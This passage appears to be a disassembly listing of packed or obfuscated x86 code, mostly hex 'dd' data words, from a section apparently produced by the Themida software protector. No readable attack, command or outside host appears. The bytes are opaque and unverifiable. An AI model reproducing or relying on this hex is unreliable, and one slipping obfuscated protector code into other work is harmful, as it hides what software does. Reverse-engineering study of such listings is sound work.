72A1D85h dd 35B52906h, 89060732h, 6A0446h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 0FEBAACC3h, 40BF2DBBh dd 0AE979h, 0E0B20000h, 784338EAh, 2BF3B51Dh, 0AD85BF66h dd 0FA8B6696h, 10E950h, 0F3340000h, 0DA9E1FF8h, 0A2E8DF6Ch dd 77CA353Ch, 89961F3Eh, 72309B5h, 0D7B5FF06h, 6A060AADh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 752AC355h, 2D35B1B1h, 0E780A036h, 31376816h dd 0BB662168h, 3481B2CCh, 7732C824h, 52006A21h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0C3816681h dd 858D0115h, 60AADDFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 42C35545h, 668E9C40h, 820FDA8Bh, 3, 90DEB70Fh dd 14E957h, 0E2940000h, 0F62DF557h, 0E061939Eh, 940FF883h dd 6DAFFC82h, 505FA831h, 3DBF6656h, 6A905F4Bh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 6CA8C350h, 0C11C42C5h, 7E9BB8F0h, 2AE1BD8Bh, 95FF0607h dd 60709F9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 0E7C35545h, 0CA3C8997h, 81667BC8h, 61529CEFh, 85C7DC8Ah dd 6073305h, 3, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 3AC35646h, 0EA4BE503h, 0F5661F1h, 8501D9B7h, 607209Dh dd 0ADDFBD83h, 0F00060Ah, 2A84h, 0DF8B6600h, 3DE9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 8B0F55h, 50000000h, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 0CE9C08Bh, 4C000000h, 3B587D56h dd 0EFFC4265h, 0E85A2E42h, 12h, 0FF240520h, 5900FD44h dd 0FE899934h, 0CD317867h, 0CB817778h, 21C8B875h, 0E960565Bh dd 11h, 2A4253D8h, 19FEE3DCh, 629DBC31h, 0B230CEB7h, 5B61F94Dh dd 3305BD83h, 0F030607h, 4BA85h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0F3AE8CB6h dd 0E9EA2FDAh, 11h, 0FE659FCEh, 0DE0CB82Bh, 0F0D1840h dd 45FF2B53h, 0DFBD83C1h, 60AADh, 475840Fh, 95290000h dd 6070BB9h, 16810Fh, 11E90000h, 0D000000h, 0B3C3BA8Bh dd 0C94AE5E0h, 741C27A1h, 0B679795h, 0ADDFB5FFh, 6A060Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0D3C5AC3h, 6679F50Bh, 104ED781h, 0FFDEB70Fh, 7212995h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 43737B76h, 0D3B58BC5h, 6A060AADh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 0C789C356h, 1000106h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 51CD8048h, 500C065Ch dd 6A243489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 0FFCAC355h, 0E6BDBDEAh, 0BD2B82D4h dd 6071A79h, 0ADDFB5FFh, 0BF50060Ah, 5F767A78h, 5195FF5Bh dd 6A060702h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 0A6E3C351h, 0C0696E1Bh, 0A59D8BCFh dd 8B060713h, 0AADD3B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 13A7176Ch, 0E12989EAh dd 0A19D03E8h, 8B060728h, 712A185h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 2FF7EA19h dd 0C16901C1h, 8689CDBBh, 0C4h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 76C35040h, 0B07A7756h, 0F6D78170h dd 8B13EC4Ch, 71AD995h, 8FBBF806h, 8336C6D5h, 0D78004C2h dd 11E92Fh, 0F7550000h, 0B00BE280h, 0E2B3E57Bh, 0D3603A8Ch dd 8971ACFBh, 6A2050h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0A9126EC3h, 858DC255h, 60AC170h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 10C35141h dd 0A52D6A7Ch, 6AFAD8ADh, 8E8h, 1F8A6A00h, 82350470h, 86895F13h dd 0B8h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 0C7A55FC3h, 0A1622F02h, 282EBF8Ah dd 0B5FF0FBDh, 60AADDFh, 25E19D8Bh, 95FF0607h, 6070791h dd 2609BD89h, 52500607h, 2434895Bh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 8CC35747h, 45CB6F12h, 9E8h dd 91FE2B00h, 423CC1B0h, 0F60CD2Dh, 0B523D0BFh, 6070C05h dd 0D88B5B61h, 0FFD98B66h, 0AADDFB5h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0BD8B52F1h, 60702C5h, 2D0995FFh, 0BD830607h, 60714C1h dd 59840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 6100C350h, 0AF766A57h dd 25DDCF81h, 605010E5h, 66585260h, 61AF04B8h, 8961C88Bh dd 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 0E38135C3h, 594A6B46h, 0ADDFB5FFh, 8F0F060Ah dd 6, 1B899D8Bh, 95FF0607h, 6071F95h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 2EC35242h, 8A66D76Fh, 91BD8BFDh dd 0FF06071Dh, 0AADDFB5h, 0DF816606h, 95FF220Bh, 60702C1h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 54C35040h dd 65BD836Fh, 2060728h, 95840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0DDD896C3h dd 63A16D1Fh, 9E94DFFh, 52000000h, 7269A05Fh, 7EF57E05h dd 0E69858Bh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 0F64651C3h, 3C150AC1h, 0BB992D56h dd 23B2825Ah, 6A0000C6h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 4620C356h, 0C40C1E97h dd 0F53AADAh, 682h, 59958900h, 0C7060723h, 72A5185h, 6 dd 1BD78100h, 0E95ECB84h, 0FFFFF2D9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 0CC35646h, 9DBD89h, 0C18B0607h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0DEC35141h dd 1141BD8Bh, 0B5890607h, 6072A9Dh, 18B1858Dh, 6A0607h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0EADD45C3h, 20BDFF13h, 8DB509D5h, 50060723h, 58D0Fh dd 60BF0000h, 8968A318h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0D84C61C3h, 699D8BC3h dd 6A06072Dh, 6A82B700h, 0D8BF0F00h, 0CCB1858Dh, 6A060Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 8AD1B1C3h, 50F936D4h, 50CB6082h, 5BDE8B66h, 6A05C083h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 0B6F1C355h, 0D80D83A3h, 0F9D9D8Bh, 50500607h dd 0D4B36052h, 5E9h, 0DA91C800h, 0F61E175h, 0C4BF6631h dd 89585AECh, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 4212F1C3h, 92C0333h, 712C19Dh, 0F006A06h dd 6AF8BFh, 0A0E38166h, 3D95FF17h, 0E806071Eh, 6 dword_5893E4 dd 0DD645BFDh, 9D098433h, 6072A81h, 208BB5Fh, 8D8D25A0h ; DATA XREF: Themida_:0053CC5Co dd 60A93D5h, 0CCB8166h, 0BBD1FF10h, 55CFC236h, 19BDBD83h dd 0F010607h, 5B85h, 0D3816600h, 26ADB50h, 0CC1B589h, 69BB0607h dd 907123EBh, 9810F50h, 60000000h, 575EA7B8h, 615F5669h dd 7FCB8190h, 896DB422h, 718B995h, 9195FF06h, 6A060707h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 88FC351h, 20219531h, 0EFB30607h, 0D9FE9h dd 0E800h, 815D0000h, 0BCCBBEDh, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0F9DDFAFDh dd 930F22Dh, 72021B5h, 93BB6606h, 8DFA8B73h, 0A843F85h dd 9EE38006h, 7E890h, 0E7B20000h, 0AF37A02Dh, 7E87Eh, 0B1460000h dd 0D5911DBCh, 6B5BBF0Bh, 5B5B6388h, 0DE8B6650h, 0BD8B5190h dd 60719B1h, 8595895Bh, 64060718h, 35FFh, 64F90000h, 2589h dd 9D8B0000h, 6072B35h, 2F5985FFh, 6A0607h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 44DEE8C3h dd 0BA7F7122h, 119D8B4Fh, 6A06070Dh, 51006AFFh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0FF3A612Dh dd 7124DB5h, 0FFB0B306h, 72B8995h, 151E906h, 0BB660000h dd 0B0EB17h, 12E9h, 0C7317200h, 0C08A452Eh, 0CC1331E6h dd 0A1D62B1Ch, 0F874C36h, 70E6DFBFh, 22D19D2Bh, 71E40607h dd 0EE8h, 413F4D00h, 0F1EB9060h, 92E761B0h, 0E82F7D17h dd 5, 0A4CE838Eh, 0E19D8B79h, 5B06072Bh, 0F613C5Fh, 0FA83h dd 319D8B00h, 0F060723h, 0BAF9C8B6h, 6, 5E9h, 158A6800h dd 0C18B01BCh, 0C1DE8B66h, 0DB8104E8h, 38D5DA44h, 81E2F766h dd 60017CBh, 81C82B06h, 90EB50EBh, 0E9D18B03h, 0Eh, 0FB8D954Ah dd 3FF30996h, 84F30017h, 0A8E93FB8h, 0E8000000h, 6, 0A9DC784Ch dd 8D01EC8Fh, 6072661h, 1858B5Fh, 0F000000h, 78Ah, 81665000h dd 5F17E9D7h, 6607C083h, 0C083FA8Bh, 580EBB00h, 0D03B0E1Ch dd 10830Fh, 0C2BF0000h, 0E955AE46h, 63h, 21D5BD8Bh, 8D8B0607h dd 0FFFFFFFFh, 0AE8h, 4B028B00h, 7EED53F9h, 8B70712Dh dd 70459BDh, 0E1835B06h, 38840F01h, 0E8000000h, 9, 639A741Bh dd 0CB07E16Eh, 0C781661Dh, 835B051Fh, 0FFFFFFA5h, 8589FEFFh dd 6072101h, 19589h, 9D290000h, 60713E1h, 11A18589h, 0E90607h dd 8D000000h, 0B4CF6B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 0A61D1BCBh, 0D0DD9BADh dd 43CF8166h, 6A006A5Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 1186C352h, 10E8h, 4061F300h dd 0B59FDEC5h, 0C66AC7FDh, 0A8B807C8h, 5FDA8B6Dh, 28B0F52h dd 57000000h, 95FF5B5Fh, 6070D69h, 2A818589h, 8AB90607h dd 6600000Fh, 0E183FA8Bh, 0A9BD8BFCh, 0FC060705h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0DC35343h, 0B8D745h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 1B6EC356h, 85298256h, 60712A5h dd 0BAh, 11E85100h, 0FC000000h, 0AE0CA881h, 4D388473h dd 0FA5C0548h, 96802BE6h, 3A4375BBh, 0AD5F5B22h, 0E8D1C233h dd 0E983D003h, 0B3F47504h, 55006AEAh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 386E4890h dd 0FF3D9687h, 880DCBA7h, 0FC000000h, 1AD9958Bh, 6A0607h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 180F2CC3h, 0C77A8CA2h, 8A0FC0D1h, 6, 75D8D89h, 8D8B0607h dd 607101Dh, 23919589h, 8B500607h, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 95C38166h, 0F381660Ah, 6ABE8Eh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 43B89C3h, 0A3A83E16h, 0BD8BC2CDh, 60714F5h, 0E29BD83h dd 0F000607h, 9984h, 0AD9D8900h, 0B8060729h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 42C35545h dd 0E5063731h, 55F710h, 0FE8h, 0EDE7F200h, 0B5D503EAh dd 0B4CA603Bh, 893FC5C3h, 5FF88B66h, 4B9B8D8Dh, 6A0607h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 9EF7D3C3h, 822F22A2h, 0FFFEBF0Fh, 51006AE1h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0FD6E2713h dd 549EBFB2h, 0BD831882h, 6073305h, 0E7840F00h, 8B000003h dd 723219Dh, 0C5BD8B06h, 83060711h, 73305BDh, 840F0106h dd 3E9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 0D0C35040h, 22550960h, 0BD839658h, 6073305h, 84860F03h dd 6A000003h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 0FE9DC351h, 7AB46013h, 13B9958Bh dd 0E8610607h, 7, 2DB74BAh, 0F452F7Bh, 688h, 72F78100h dd 5F234D08h, 29BD0360h, 6606070Dh, 6AD98Ch, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 5ECF9CC3h dd 1A9559D3h, 8A756D6Bh, 4E180DAh, 3A6BE381h, 0C90A1216h dd 113840Fh, 9D8B0000h, 6072345h, 2A1D858Bh, 95890607h dd 6072A5Dh, 1AFD8533h, 6A0607h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 33870BC3h, 50539E36h dd 4212BF66h, 6A240489h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 4B52C351h, 0BB7E5CA9h dd 78F2D0E0h, 0B70F006Ah, 0EDBD8BDEh, 68060722h, 8144E2B9h dd 0BE953h, 0EBF70000h, 0B9D7381Eh, 25150DEEh, 4815B53h dd 0DA214624h, 56006A7Eh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 0E88A7D68h, 0C7FC5AA7h dd 0FFF8F633h, 709F995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 0C007E045h, 898A8BBDh dd 0AADDF85h, 0BD952906h, 0E9060702h, 16Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0BEC35646h, 294B37DCh dd 707C98Dh, 0D7858B06h, 6A060AADh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0EDD2C351h dd 0BE252EE7h, 8D89608Ch, 60729A1h, 5850Fh, 0EB90000h dd 611E6BF1h, 1800C7h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 59B35C3h, 8B67B7CDh dd 0AADDBB5h, 70F38106h, 8B4F1DF7h, 72BCD85h, 0D19BB06h dd 6895893h, 0E8D8D89h, 858B0607h, 6072A1Dh, 2805B589h dd 46890607h, 0DE904h, 3900000h, 0B1277CFBh, 852A6553h dd 50637CD7h, 89F88B66h, 0BE92434h, 86000000h, 93A34624h dd 619E5414h, 0B5FF5C85h, 60AADD7h, 4AC78166h, 0D7A068A3h dd 525069CAh, 0FDE8B66h, 2870F31h, 8B000000h, 81585ADEh dd 0D45F2434h, 6A69D5h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 3F2EE1C3h, 0DBB27E38h, 0DF858DD0h dd 0F8060AADh, 0BB665390h, 505BFA1Ch, 6A90D98Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 8B35C351h, 44AD1982h, 2A45BD33h, 95FF0607h, 60709F9h dd 615BFC53h, 20E59D89h, 11E90607h, 3D000000h, 7CB7A0ADh dd 62B01C43h, 0BA5A5DCCh, 521991Ch, 330585C7h, 30607h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 0B3E298C3h, 7A261E71h, 0FA90CF9h, 68Bh, 0F58D3100h dd 8B060732h, 0DFBD83FAh, 60AADh, 41840Fh, 0A1BF0000h dd 0E964256Fh, 52h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 2AC35242h, 641EFF9Eh, 12E9h, 50E32E00h dd 0F307194Ch, 5EBDA5FDh, 2A9F8DF1h, 50694517h, 110C30h dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 9589C08Bh dd 6070F0Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 0C7C35141h, 7D4815FEh, 0FAB15CAAh, 0A99D8919h dd 8306070Ch, 73305BDh, 850F0306h, 463h, 29E9B501h, 0BD830607h dd 60AADDFh, 50840F00h, 8B000004h, 726499Dh, 9E806h, 6F7A0000h dd 4876AD63h, 895C4D04h, 72A259Dh, 0B5FF5F06h, 60AADDFh dd 7BBF6656h, 95FF5BF1h, 6072129h, 0CE9h, 0FC967400h, 512DDEE3h dd 84AFBDBCh, 0D3B58BC4h, 6A060AADh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0A25BC357h dd 0C7FBB70Fh, 1000106h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 0C84BF355h, 90EA292h dd 719A585h, 0DB816606h, 0E8508E49h, 0Bh, 0BDF6AA4Fh, 0AAEEEC51h dd 667B2BAFh, 895FF98Bh, 860F2434h, 0 dd 0ADDFB5FFh, 8E9060Ah, 8000000h, 0EA4E5EB0h, 0FF119566h dd 7025195h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 850FC47Fh, 6, 4F92E781h, 8D89249Ah dd 60710A9h, 0ADD3B58Bh, 9E9060Ah, 0C6000000h, 0F8827802h dd 0F8F08174h, 12A1858Bh, 6A0607h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 96026CC3h, 0B625F682h dd 8167697Fh, 5E8F6FF3h, 0C486891Ah, 66000000h, 958BFB8Bh dd 6071AD9h, 83D88B66h, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 850F67C3h, 6, 1DD19589h dd 50890607h, 53006A20h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 4010180Dh, 0E5ACCF5Ah, 0BF0F809Eh dd 70858DFEh, 6A060AC1h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 3D59C353h, 0A469AAD8h dd 0EF5A48BFh, 0B8868915h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 179AC357h dd 0FA885B5h, 681h, 558D0100h, 6A060721h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0A9AA98E5h, 398589DDh, 0F06072Eh, 0C87h, 6830F00h, 0F000000h dd 85h, 0DA8B6600h, 0ADDFB5FFh, 9D8B060Ah, 6072F99h, 79195FFh dd 0FE90607h, 55000000h, 0D3FCE655h, 41F79C57h, 0FAB024E8h dd 0E9965D12h, 14h, 0FC23D702h, 0D3D87CFEh, 483E3613h dd 6E6199DCh, 37349FD7h, 0B7525050h, 5A310FB5h, 6A9658h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 8BBF10C3h, 72E39BDh, 0DFB5FF06h, 6A060AADh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0DD4CC352h, 1DB912Bh, 71F1D8Dh, 995FF06h, 6A06072Dh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 0E259C353h, 0E936A2EAh, 10h, 0F38F768Ah dd 7861BBE5h, 8FC2C81Bh, 92EAF28Fh, 1AF9B529h, 0BD830607h dd 60714C1h, 12840F00h, 96000000h, 0DD44F4BBh, 8DBB5048h dd 9609043Bh, 0ADE38166h, 0DFB5FF03h, 89060AADh, 707059Dh dd 9595FF06h, 6A06071Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 9358C353h, 0EB8ABE7Bh dd 68C0Fh, 95290000h, 6072219h, 0ADDFB5FFh, 6A060Ah, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 0F4A6F2C3h, 0D0CE97F6h, 8B3EC430h, 732F99Dh, 0C0BF6606h dd 0C195FFC2h, 0E8060702h, 0Eh, 92881C7Bh, 0D49D6662h dd 0E15EED33h, 0EE9C217h, 6B000000h, 767A3BAh, 7C6BAB21h dd 1B886B37h, 0BD835F38h, 6072865h, 47840F02h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 0AEB6C351h, 0F2C95D75h, 41B58954h, 0F06071Eh dd 0FA8BDBBFh, 0E69858Bh, 0BB660607h, 0BD8B93F9h, 6071EF9h dd 660000C6h, 804387BFh, 85C710F7h, 6072A51h, 0 dd 0D820Fh, 8E90000h, 83000000h, 0E6DAD80Dh, 0E9FE940Bh dd 0FFFFF34Bh, 6AC18Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 0E09B0AC3h, 6039D93Dh, 1B3AF0BFh dd 9B58B68h, 61060710h, 18B1858Dh, 6A0607h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 90E964C3h dd 6A9050h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0E41783C3h, 29AE18CBh, 7288585h, 0A98D2906h dd 6A060728h, 73E38100h, 6A22DBD0h, 0E5B58900h, 8D060711h dd 0BDC2185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 9E7BB38Ch, 3236C5Eh, 49DBD89h, 0C0830607h dd 39BFFC05h, 90717CBFh, 91BB5250h, 0F52C2DDh, 5850F31h dd 0BF000000h, 46468319h, 6650585Ah, 90570FBFh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 91C35747h, 9BB0EB81h dd 0C411CCF6h, 1D9D0349h, 6A060705h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 868EDDC1h dd 6A4C0Ch, 0AFA1C781h, 9D8B7B99h, 607218Dh, 1E3D95FFh dd 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 204444C3h, 0C6092352h, 0DCE1FBBFh, 0D9D037Eh dd 8D060728h, 0A93D58Dh, 0DF8B6606h, 0BF0FD1FFh, 0BDBD83FBh dd 1060719h, 6A850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 0B91FC9C3h, 485BD2Bh dd 26A0607h, 0B7D8D89h, 50F90607h, 0DF8B5250h, 0DC8A310Fh dd 489585Ah, 0F0C0BB24h, 95FF0001h, 6070791h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 66C35141h, 0EA3CA96Bh dd 14ABECBCh, 0CE3E9h, 0E800h, 815D0000h, 0BDC2BEDh, 6AF806h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 75A107C3h, 2EE78106h, 8D297D69h, 0A843F85h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 9E94837h, 42000000h, 33FFF85h, 393D80D8h, 89DE8B50h dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 4C171BC3h, 31BE10B6h, 59D095Bh, 64060726h dd 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 9D03B2C3h, 607291Dh, 258964h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 0A7BFC353h, 10E9h, 9EC6A800h, 6781F523h dd 96ECB945h, 3BD8D4C4h, 5985FFE5h, 6A06072Fh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 868BC353h, 2E359D8Bh, 8D890607h, 6072C55h, 0BF0FFF6Ah dd 0C5B5FFDAh, 6A060707h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 400FC357h, 43EEF723h dd 8995FF96h, 0E906072Bh, 122h, 0E7A39DBBh, 100B021h, 728D18Dh dd 6670E606h, 71E4FA8Bh, 0AE9BD8Bh, 613C0607h, 100830Fh dd 0DA8B0000h, 66C8B60Fh, 0BAC119BFh, 6, 0B859D8Bh, 0C18B0607h dd 2890Fh, 0DD8A0000h, 19BD8B57h, 5F06072Bh, 8904E8C1h dd 71EF98Dh, 0E2F76606h, 89C82BF8h, 72D7185h, 51D18B06h dd 45958960h, 8B06070Eh, 718F58Dh, 0E95F6106h, 0AEh, 23FB8B66h dd 725FD9Dh, 4858B06h, 60000000h, 0FC3B70Fh, 8361D1BFh dd 0F38007C0h, 959D3378h, 8306072Ah, 9D8B00C0h, 6071A4Dh dd 0F99D8Bh, 0D03B0607h, 1B830Fh, 6FE90000h, 0E8000000h dd 10h, 9D1AEFE4h, 7F7F1C60h, 0FC9F0B8h, 17BF15DFh, 0FF8D8B5Bh dd 0E9FFFFFFh, 12h, 0F9B9D8B2h, 0CF2B8381h, 0D0EFFAF7h dd 0E00C7A2Bh, 0E183D784h, 33840F01h, 0E9000000h, 14h dd 1803FFF9h, 0B29F6536h, 0B9EF9932h, 6E4B9916h, 0A56B399h dd 0FFFFA583h, 8BFEFFFFh, 704A5BDh, 4958906h, 8B000000h dd 0E9D8h, 0B58D0000h, 60B5C80h, 0E5014DBBh, 89006A38h dd 704E98Dh, 2830F06h, 8B000000h, 6995FFD8h, 6A06070Dh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 9BCEC355h, 0E9618524h, 0Ch, 3ED6BEAFh, 81564868h dd 76340042h, 107EB9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 0A18564C3h, 0C61ABE8Bh dd 0BD0B8678h, 60720FDh, 83FE8B66h, 0EE9FCE1h, 22000000h dd 0B3F3DDA4h, 0A16C4490h, 1A9C8C6Ch, 6AFCCCh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 8B19C8C3h, 2BDC7256h, 0BD316B16h, 6070FE1h, 0B8h, 0DBD8B00h dd 0BA06071Bh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 54C35242h dd 340F9830h, 0B70F7927h, 0C233ADFBh, 0D003E8D1h, 7504E983h dd 10E9F4h, 6DA20000h, 0F032F306h, 55D9A1C3h, 77C908F2h dd 6AE577h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0DEE1CC3h, 88h, 25DD9D89h, 0B70F0607h, 0D9958BF8h dd 0BF06071Ah, 4CCE7317h, 101D8D8Bh, 0BF0F0607h, 0C28B50F9h dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 1A0BC357h, 0E9510C01h, 14h, 4BAAE299h, 8DA9FAE1h, 985FFAC7h dd 0BADA3444h, 0F08DC89Ch, 0E29BD83h, 0F000607h, 6084h dd 59D8B00h, 0B806072Dh, 0 dd 8D8DF88Bh, 6074B9Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 0AFC35343h, 80E25FC4h, 6AE1FFE7h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 640EC351h, 7D18D026h, 29DAB70Fh, 709B995h, 5BD8306h dd 60733h, 42A840Fh, 